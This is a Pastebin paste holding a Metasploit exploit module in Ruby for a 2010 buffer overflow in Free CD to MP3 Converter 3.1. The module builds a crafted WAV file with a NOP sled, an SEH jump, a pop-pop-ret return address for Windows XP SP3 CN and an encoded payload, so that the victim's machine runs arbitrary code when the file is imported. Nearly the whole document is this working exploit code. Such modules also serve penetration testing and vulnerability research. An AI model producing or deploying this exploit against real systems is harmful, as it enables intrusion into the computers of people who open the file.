Advertisement
Guest User

Untitled

a guest
Jul 6th, 2017
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. require 'msf/core'
  2. class Metasploit3 < Msf::Exploit::Remote
  3.     Rank = GoodRanking
  4.  
  5.     include Msf::Exploit::FILEFORMAT
  6.    
  7.     def initialize(info = {})
  8.         super(update_info(info,
  9.             'Name'        => 'Free CD to MP3 Converter 3.1 Buffer Overflow',
  10.             'Description'    => %q{
  11.                 This module exploits a buffer overflow in Free CD to MP3 Converter
  12.  
  13. v3.1.
  14.                 When the application is used to import a specially crafted wav file,
  15.                 a buffer overflow occurs allowing arbitrary code execution.
  16.             },
  17.             'License'    => MSF_LICENSE,
  18.             'Author'    =>
  19.                 [
  20.                     'Original Exploit:  C4SS!0 G0M3S',  
  21.                     'MSF Module      :  riusksk'  
  22.                 ],
  23.             'Version'    => '$Revision: 1.0 $',
  24.             'DefaultOptions'=>
  25.                 {
  26.                     'EXITFUNC' => 'process',
  27.                 },
  28.             'Payload'    =>
  29.                 {
  30.                     'Space'        => 500,
  31.                     'BadChars'    => "\x00"
  32.                 },
  33.             'Platform'    => 'win',
  34.             'Targets'    =>
  35.                 [
  36.                     [ 'Windows XP SP3 CN', {'Ret' => 0x00409F8C } ]        # pop
  37.  
  38. pop ret
  39.                 ],
  40.             'DefaultTarget' => 0,
  41.             'Privileged'    => false,
  42.             'DisclosureDate'=> 'Nov 24 2010'
  43.         ))
  44.  
  45.         register_options(
  46.             [
  47.                 OptString.new('FILENAME', [ false, 'The file name.', 'exploit.wav']),
  48.             ], self.class)
  49.     end
  50.  
  51.     def exploit
  52.         sploit = make_nops(4156)
  53.         sploit << "\xEB\x06\x90\x90"
  54.         sploit << [target.ret].pack('V')
  55.         sploit << make_nops(5)
  56.         sploit << payload.encoded
  57.  
  58.         print_status("Creating '#{datastore['FILENAME']}' file ...")
  59.  
  60.         file_create(sploit)
  61.     end
  62. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement